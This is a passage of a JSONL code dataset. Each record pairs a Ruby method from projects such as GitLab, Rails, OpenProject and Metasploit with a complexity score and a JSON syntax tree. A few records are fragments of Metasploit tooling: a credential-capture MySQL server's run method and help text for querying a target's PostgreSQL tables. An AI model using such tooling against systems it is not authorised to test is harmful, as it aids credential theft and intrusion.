end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conditionally_expand_blob\",{\"type\":\"send\",\"children\":[null,\"blob\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"show_html\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page_title\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"blob\"]},\"path\"]},{\"type\":\"ivar\",\"children\":[\"@ref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"full_name\"]}]},{\"type\":\"send\",\"children\":[null,\"set_last_commit_sha\"]},{\"type\":\"send\",\"children\":[null,\"show_json\"]}]}]}]}]}]}]}","id":"e3040ad5-8f04-45f6-8418-c051b8ae616c"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/post_categories_controller.rb","start_line":10,"raw_source":"def permitted_resource_params\n        params.require(:post_category).permit(permitted_post_category_attributes)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_resource_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"post_category\"]}]},\"permit\",{\"type\":\"send\",\"children\":[null,\"permitted_post_category_attributes\"]}]}]}","id":"83331866-25b4-4732-9ac2-5ef4512d8e2f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/concerns/csv.rb","start_line":76,"raw_source":"def csv_row(record)\n        columns.collect do |column|\n          format_csv(record, column[:name])\n        end\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"csv_row\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"columns\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"send\",\"children\":[null,\"format_csv\",{\"type\":\"lvar\",\"children\":[\"record\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}","id":"c7d3d982-37ad-4c02-99df-6cd1820feb36"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/tags/if.rb","start_line":23,"raw_source":"def initialize(tag_name, markup, options)\n      super\n      @blocks = []\n      push_block('if', markup)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_name\"]},{\"type\":\"arg\",\"children\":[\"markup\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@blocks\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"push_block\",{\"type\":\"str\",\"children\":[\"if\"]},{\"type\":\"lvar\",\"children\":[\"markup\"]}]}]}]}","id":"a8fcbf28-0de4-458b-8731-019431bfebfe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/cli.rb","start_line":151,"raw_source":"def self.day\n      @@day ||= begin\n        t = Date.today\n        \"#{t.month}-#{t.day}\"\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"day\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"cvasgn\",\"children\":[\"@@day\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"today\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"month\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"day\"]}]}]}]}]}]}","id":"b69d8443-3319-480b-a26b-12cae9aa411d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/repositories/destroy_service.rb","start_line":4,"raw_source":"def execute\n    return success unless repository\n    return success unless repo_exists?(disk_path)\n\n    # Flush the cache for both repositories. This has to be done _before_\n    # removing the physical repositories as some expiration code depends on\n    # Git data (e.g. a list of branch names).\n    ignore_git_errors { repository.before_delete }\n\n    # Use variables that aren't methods on Project, because they are used in a callback\n    current_storage = repository.shard\n    current_path = \"#{disk_path}.git\"\n\n    # Because #remove happens inside a run_after_commit callback it will\n    # never be triggered on a read-only instance.\n    #\n    # Issue: https://gitlab.com/gitlab-org/gitlab/-/issues/223272\n    if Gitlab::Database.read_only?\n      Gitlab::Git::Repository.new(current_storage, current_path, nil, nil).remove\n    else\n      container.run_after_commit do\n        Gitlab::Git::Repository.new(current_storage, current_path, nil, nil).remove\n      end\n    end\n\n    log_info(\"Repository \\\"#{full_path}\\\" was removed\")\n\n    success\n  rescue Gitlab::Git::Repository::NoRepository\n    success\n  end","complexity_score":38.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repo_exists?\",{\"type\":\"send\",\"children\":[null,\"disk_path\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ignore_git_errors\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"before_delete\"]}]},{\"type\":\"lvasgn\",\"children\":[\"current_storage\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"shard\"]}]},{\"type\":\"lvasgn\",\"children\":[\"current_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"disk_path\"]}]},{\"type\":\"str\",\"children\":[\".git\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"read_only?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Repository\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"current_storage\"]},{\"type\":\"lvar\",\"children\":[\"current_path\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]},\"remove\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container\"]},\"run_after_commit\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Repository\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"current_storage\"]},{\"type\":\"lvar\",\"children\":[\"current_path\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]},\"remove\"]}]}]},{\"type\":\"send\",\"children\":[null,\"log_info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Repository \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_path\"]}]},{\"type\":\"str\",\"children\":[\"\\\" was removed\"]}]}]},{\"type\":\"send\",\"children\":[null,\"success\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Repository\"]},\"NoRepository\"]}]},null,{\"type\":\"send\",\"children\":[null,\"success\"]}]},null]}]}","id":"8e2d70ea-13b5-42b2-8f19-0db486ee31c6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/capture/mysql.rb","start_line":41,"raw_source":"def run\n    if datastore['CHALLENGE'].to_s =~ /^([a-fA-F1-9]{40})$/\n      @challenge = [ datastore['CHALLENGE'] ].pack('H*')\n    else\n      print_error('CHALLENGE syntax must match 112233445566778899AABBCCDDEEFF1122334455')\n      return\n    end\n    @version = datastore['SRVVERSION']\n    exploit\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CHALLENGE\"]}]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^([a-fA-F1-9]{40})$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@challenge\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CHALLENGE\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"H*\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"CHALLENGE syntax must match 112233445566778899AABBCCDDEEFF1122334455\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVVERSION\"]}]}]},{\"type\":\"send\",\"children\":[null,\"exploit\"]}]}]}","id":"626abea7-2b06-4a42-8766-0c03dd57a13c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/postgresql/ui/console/command_dispatcher/client.rb","start_line":25,"raw_source":"def cmd_query_help\n            print_line 'Usage: query'\n            print_line\n            print_line 'Run a single SQL query on the target.'\n            print_line @@query_opts.usage\n            print_line 'Examples:'\n            print_line\n            print_line '    query SELECT user;'\n            print_line '    query SELECT version();'\n            print_line '    query SELECT * FROM pg_catalog.pg_tables;'\n            print_line\n          end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_query_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: query\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Run a single SQL query on the target.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@query_opts\"]},\"usage\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Examples:\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"    query SELECT user;\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"    query SELECT version();\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"    query SELECT * FROM pg_catalog.pg_tables;\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]}]}]}","id":"244b817e-cca8-46d9-929b-5120068caaf8"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meetings/row_component.rb","start_line":50,"raw_source":"def occurrence_title\n      safe_join(\n        [(render(Primer::Beta::Link.new(href: project_meeting_path(project, model), font_weight: :bold)) { model.title }),\n         (render(Primer::Beta::Link.new(href: project_recurring_meeting_path(project, recurring_meeting))) { recurring_label })],\n        \"  \"\n      )\n    end","complexity_score":23.1,"ast_json":"{\"type\":\"def\",\"children\":[\"occurrence_title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"safe_join\",{\"type\":\"array\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Primer\"]},\"Beta\"]},\"Link\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"project_meeting_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"model\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"font_weight\"]},{\"type\":\"sym\",\"children\":[\"bold\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"title\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Primer\"]},\"Beta\"]},\"Link\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"project_recurring_meeting_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"recurring_meeting\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"recurring_label\"]}]}]}]},{\"type\":\"str\",\"children\":[\"  \"]}]}]}","id":"b412eaf3-7864-4166-a26f-2ceba67add63"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/conan_token.rb","start_line":41,"raw_source":"def secret\n        OpenSSL::HMAC.hexdigest(\n          OpenSSL::Digest.new('SHA256'),\n          ::Gitlab::Encryption::KeyProvider[:db_key_base].encryption_key.secret,\n          HMAC_KEY\n        )\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"secret\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"HMAC\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Digest\"]},\"new\",{\"type\":\"str\",\"children\":[\"SHA256\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Encryption\"]},\"KeyProvider\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"db_key_base\"]}]},\"encryption_key\"]},\"secret\"]},{\"type\":\"const\",\"children\":[null,\"HMAC_KEY\"]}]}]}","id":"971d4543-4d14-45cb-9635-908433b8fe86"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/insert_all_test.rb","start_line":393,"raw_source":"def test_upsert_all_logs_message_including_model_name\n    skip unless supports_insert_on_duplicate_update?\n\n    capture_log_output do |output|\n      Book.upsert_all [{ name: \"Remote\", author_id: 1 }, { name: \"Renote\", author_id: 1 }]\n      assert_match \"Book Bulk Upsert\", output.string\n    end\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_upsert_all_logs_message_including_model_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_insert_on_duplicate_update?\"]},null,{\"type\":\"send\",\"children\":[null,\"skip\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_log_output\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"output\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Book\"]},\"upsert_all\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Remote\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Renote\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"Book Bulk Upsert\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"string\"]}]}]}]}]}]}","id":"99bcafb2-20d7-4819-872c-e84e414556d8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template/operations.rb","start_line":55,"raw_source":"def raw_destroy\n    raise NotImplementedError, _(\"must be implemented in a subclass\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"must be implemented in a subclass\"]}]}]}]}","id":"bc6c32e7-9f50-4f89-8d79-6df7844deaf8"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":1030,"raw_source":"def halt(*response)\n      response = response.first if response.length == 1\n      throw :halt, response\n    end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"halt\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"first\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"throw\",{\"type\":\"sym\",\"children\":[\"halt\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"826d0980-ee17-429e-8eef-2f64a3f79e1c"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/cache_store_coder_behavior.rb","start_line":18,"raw_source":"def load(payload)\n      entry = Marshal.load(payload)\n      @loaded_entries << entry\n      entry\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"load\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"entry\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"load\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@loaded_entries\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"entry\"]}]},{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]}","id":"9c39b247-482d-49cf-a4c1-bbc5749ab65b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/web_ide/vscode.rb","start_line":134,"raw_source":"def close_ide_tab\n            page.execute_script \"window.close();\" if page.current_url.include?('ide')\n          end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"close_ide_tab\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"current_url\"]},\"include?\",{\"type\":\"str\",\"children\":[\"ide\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"execute_script\",{\"type\":\"str\",\"children\":[\"window.close();\"]}]},null]}]}","id":"13d7b825-bd12-49aa-af24-c23feb106c4f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/web_ide/config.rb","start_line":42,"raw_source":"def build_config(config, _opts = {})\n      Gitlab::Config::Loader::Yaml.new(config).load!\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Config\"]},\"Loader\"]},\"Yaml\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"config\"]}]},\"load!\"]}]}","id":"d0eef203-bd6b-494b-bd3c-3a415a4bb725"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/nexpose_raw_document.rb","start_line":501,"raw_source":"def report_fingerprint(host_object)\n      return unless host_object.kind_of? ::Mdm::Host\n      return unless @report_data[:os].kind_of? Hash\n      note = {\n        :workspace => host_object.workspace,\n        :host => host_object,\n        :type => \"host.os.nexpose_fingerprint\",\n        :data => {\n          :family => @report_data[:os][\"os_family\"],\n          :certainty => @report_data[:os][\"os_certainty\"]\n        }\n      }\n      note[:data][:vendor] = @report_data[:os][\"os_vendor\"] if @report_data[:os][\"os_vendor\"]\n      note[:data][:product] = @report_data[:os][\"os_product\"] if @report_data[:os][\"os_product\"]\n      note[:data][:version] = @report_data[:os][\"os_version\"] if @report_data[:os][\"os_version\"]\n      note[:data][:arch] = @report_data[:os][\"os_arch\"] if @report_data[:os][\"os_arch\"]\n      db_report(:note, note)\n    end","complexity_score":43.8,"ast_json":"{\"type\":\"def\",\"children\":[\"report_fingerprint\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host_object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_object\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Mdm\"]},\"Host\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"os\"]}]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_object\"]},\"workspace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"host_object\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"host.os.nexpose_fingerprint\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"family\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"os\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"os_family\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"certainty\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"os\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"os_certainty\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"os\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"os_vendor\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"vendor\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"os\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"os_vendor\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"os\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"os_product\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"product\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"os\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"os_product\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"os\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"os_version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"os\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"os_version\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"os\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"os_arch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"arch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"os\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"os_arch\"]}]}]},null]